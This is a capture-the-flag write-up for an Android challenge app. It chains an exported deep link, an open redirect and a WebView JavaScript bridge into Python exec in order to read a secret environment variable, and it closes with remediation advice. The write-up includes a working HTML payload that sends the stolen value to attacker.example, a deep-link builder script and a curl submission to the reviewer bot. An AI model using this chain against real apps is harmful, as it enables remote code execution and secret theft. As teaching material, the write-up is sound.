$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: Analyze an Android APK whose runtime secret is placed in a Python environment variable and whose documentation opens in a WebView. Solution: Chain a reviewer deep link with an open redirect, retain the JavaScript bridge, execute Python, and exfiltrate its output.
Перед вами Pytome — защищенная от пчёл-вайбкодеров мобильная платформа по передаче вымирающего знания программирования на питоне, разработанная медоедами для медоедов. Медоеды очень боятся слить свои переменные окружения в приложении, особенно FLAG=..., пчёлам. Помоги им понять, возможно ли это сделать.
The supplied artifact was an Android APK for a Python learning application. The goal was to determine whether the secret environment variable in the organizer's Android instance could be disclosed.
Artifact: https://avitoctf.ru/files/pytome.apk
Pytome embeds CPython 3.11 through Chaquopy. Its exported documentation activity accepts a deep link, checks only the first URL's scheme and host, and loads that URL in a JavaScript-enabled WebView. Because an allowlisted endpoint provides an unrestricted redirect, an external page can inherit the exposed AndroidBridge, invoke unrestricted Python execution, read the runtime environment, and send the result to a callback server.
The complete chain was:
pytome://docs deep link.DocsActivity accepted an allowlisted HTTPS URL./go?to= endpoint redirected the WebView to an external payload.AndroidBridge.eval(...), which reached Python exec.Static APK inspection found no real flag in resources, Chaquopy archives, or application-specific native code. This was expected after reviewing MainActivity: the organizer supplies the value as an Intent string extra when launching the challenge instance.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/MainActivity.java:38-41.
String stringExtra = getIntent().getStringExtra("FLAG"); if (stringExtra != null) { PythonEngine.INSTANCE.setEnv(stringExtra); }
PythonEngine.setEnv stores it in CPython's process environment.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:22-38.
PyObject module = python.getModule("os"); PyObject environ = (PyObject) module.get((Object) "environ"); environ.callAttr("__setitem__", "FLAG", env);
Therefore, installing the public APK locally cannot recover the authentic value: a normal launcher start does not provide that Intent extra.
PythonEngine.execute creates a persistent global dictionary, redirects standard output into a StringIO, and invokes builtins.exec directly on the supplied string.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:42-82.
module = python.getModule("builtins"); if (globalContext == null) { globalContext = module.callAttr("dict", new Object[0]); } pyObjectCallAttr = module2.callAttr("StringIO", new Object[0]); pyObjectCallAttr2 = module3.callAttr("redirect_stdout", pyObjectCallAttr); pyObjectCallAttr2.callAttr("__enter__", new Object[0]); module.callAttr("exec", code, globalContext); return pyObjectCallAttr.callAttr("getvalue", new Object[0]).toString();
There is no import restriction, builtins reduction, allowlist, denylist, or sandbox. Any caller of execute can import os and print an environment variable.
The decoded manifest declares DocsActivity as exported and browsable for pytome://docs:
<activity android:name="ru.avitoctf.pytome.DocsActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:host="docs" android:scheme="pytome" /> </intent-filter> </activity>
DocsActivity enables JavaScript and exposes PythonBridge as AndroidBridge before loading the requested page.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/DocsActivity.java:33-46,68-76.
webView.getSettings().setJavaScriptEnabled(true); webView.setWebViewClient(new WebViewClient()); webView.addJavascriptInterface(new PythonBridge(), "AndroidBridge"); Uri uri = Uri.parse(queryParameter); if (uri.getScheme().equals("https") && uri.getHost().equals("pytome-57ymra6o.avitoctf.ru")) { webView.loadUrl(queryParameter); } @JavascriptInterface public final String eval(String code) { return PythonEngine.INSTANCE.execute(code); }
The validation applies only to the initial parsed URL. No WebViewClient navigation callback revalidates the origin, and the bridge is not removed when navigation leaves the trusted site.
Authorized reconnaissance of the origin found:
/docs/bug-report: a form that queues an Android reviewer to visit its url field./api/bug-report-status/<uuid>: the ticket status endpoint used by the page's polling JavaScript./go?to=...: an unrestricted redirect used throughout the documentation for outbound links.The redirect is the trust-boundary bypass. A URL beginning on the allowlisted origin passes DocsActivity's check, while the resulting WebView navigation lands on attacker-controlled HTML with AndroidBridge still attached.
Host the following HTML on an HTTPS origin under attacker control. attacker.example represents a generic interaction server and should be replaced with a callback endpoint owned by the solver.
<!doctype html> <meta charset="utf-8"> <script> try { const value = AndroidBridge.eval( "import os\nprint(os.environ.get('FLAG', 'NO_FLAG'))" ); location.href = "https://attacker.example/callback?flag=" + encodeURIComponent(value); } catch (error) { location.href = "https://attacker.example/callback?error=" + encodeURIComponent(String(error)); } </script>
The successful solve placed equivalent HTML in a temporary gist and rendered it through htmlpreview.github.io, producing an executable external page. The temporary gists were deleted afterward. Hosting the page directly on a controlled HTTPS server is preferable when available.
There are two encoding layers:
to parameter of the allowlisted redirect.url parameter of pytome://docs.The following script constructs the URL without relying on any deleted gist identifier:
#!/usr/bin/env python3 from urllib.parse import quote, urlencode trusted_origin = "https://pytome-57ymra6o.avitoctf.ru" payload_url = "https://attacker.example/payload.html" redirect_url = trusted_origin + "/go?" + urlencode({"to": payload_url}) deep_link = "pytome://docs?url=" + quote(redirect_url, safe="") print(deep_link)
The result has this structure:
pytome://docs?url=<URL-encoded https://pytome-57ymra6o.avitoctf.ru/go?to=<external payload URL>>
Submit the generated deep link as the bug report's url field. The other fields merely satisfy the form:
curl -sS 'https://pytome-57ymra6o.avitoctf.ru/docs/bug-report' \ --data-urlencode 'name=researcher' \ --data-urlencode '[email protected]' \ --data-urlencode 'bug_type=Critical documentation error' \ --data-urlencode 'description=Please review this page' \ --data-urlencode 'url=pytome://docs?url=<ENCODED_REDIRECT_URL>'
The response contains a ticket UUID. Progress can be checked at:
https://pytome-57ymra6o.avitoctf.ru/api/bug-report-status/<TICKET_UUID>
The reviewer opened the deep link in an Android 15 WebView. The callback request showed an Android WebView user agent and carried the bridge result in the flag query parameter, including the newline produced by Python's print. The secret itself is redacted here and retained only in the writeup's dedicated metadata field.
MainActivity receives it at runtime through an Intent extra.data: and javascript: redirect targets: direct variants did not produce callbacks in the reviewer environment.script-src 'none', so the JavaScript payload could not execute.htmlpreview.github.io allowed script execution and completed the chain.The application treats the initial URL as the security boundary, but the active security principal is the final WebView document. Redirects can change that document's origin after the one-time check. Because addJavascriptInterface attaches a powerful native object to the WebView rather than to one trusted origin, every subsequently loaded page can invoke it.
This becomes critical because the interface is not a narrow documentation API: it forwards arbitrary source to Python exec, and that interpreter contains a runtime secret in os.environ.
shouldOverrideUrlLoading and shouldInterceptRequest; reject redirects whose final origin is not allowlisted.loadUrl as protection against redirects./go?to= to approved destinations.DocsActivity non-exported unless external deep links are required; otherwise require authenticated app links and validated inputs.jadx/sources/ru/avitoctf/pytome/MainActivity.javajadx/sources/ru/avitoctf/pytome/PythonEngine.javajadx/sources/ru/avitoctf/pytome/DocsActivity.javaapktool/AndroidManifest.xmlweb-recon.jsonbug-report.htmlpayload.htmlwebhook-requests.json$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar